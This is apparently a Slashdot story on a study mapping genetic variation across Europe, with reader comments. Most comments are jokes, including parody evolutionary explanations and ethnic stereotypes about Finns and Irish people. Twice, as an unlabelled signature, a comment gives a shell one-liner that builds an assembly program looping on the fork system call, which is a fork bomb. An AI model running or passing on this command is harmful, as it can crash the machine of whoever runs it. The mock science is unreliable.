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Biologists Create Genetic Map of Europe
Death Metal Maniac brings us a story from the New York Times about a team of scientists who were able to relate genetic differences to geographical origins. Countries such as Germany, Austria, and France occupy the central area of the genetic map, with Italy, Finland, and the UK being relative outliers. Quoting:
"All the populations are quite similar, but the differences are sufficient that it should be possible to devise a forensic test to tell which country in Europe an individual probably comes from, said Manfred Kayser, a geneticist at the Erasmus University Medical Center in the Netherlands. ... Genomic sites that carry the strongest signal of variation among populations may be those influenced by evolutionary change, Dr. Kayser said. Of the 100 strongest sites, 17 are found in the region of the genome that confers lactose tolerance, an adaptation that arose among a cattle herding culture in northern Europe some 5,000 years ago."
Update: 08/16 15:11 GMT: Reader iminplaya points out the source article, which contains the technical details behind the study.
Well, when you have to choose between your cousin and a Swede, the choice is pretty clear, isn't it?
...and I won't tolerate it.
I have heard that the large popularity of the death metal in a region is a symptom of a "depressive" culture (along the huge alcohol consumption) brought by the little exposure to the Sun during the year - Winter Blues?
Black clothes are also an evolutionary adaption to living in a snowy environment. In prehistoric times, humans who showed a preference for dark clothes were easier to find when they were lost in the snow. Evolution thus selected for this trait.
Moshing is also an efficient way for humans to stay warm in a confined environment like an igloo.
Humans who had the genes for moshing and wearing black clothes thus outbred those who did not.
Also, in most human societies with a harsh climate religion, in this case Satanism, acts as an agent to bind communities together.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
My wife is Finnish, and this pretty much confirms my suspicion that she and all other Finns are in fact from outer space.
weirdest thing I ever saw: scientology advertising on slashdot.
Belgium does apparently have no people or are such a rare breed that it would falsify the map.
Don't fight for your country, if your country does not fight for you.
Damnit, I forgot this awesome link
"Stay still, ball sack!"
http://jwz.livejournal.com/913754.html
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
An Italian moderator who thinks the British are ugly?
You've seen pictures of Irish women, right? ;)
God invented whiskey so the Irish would not rule the world.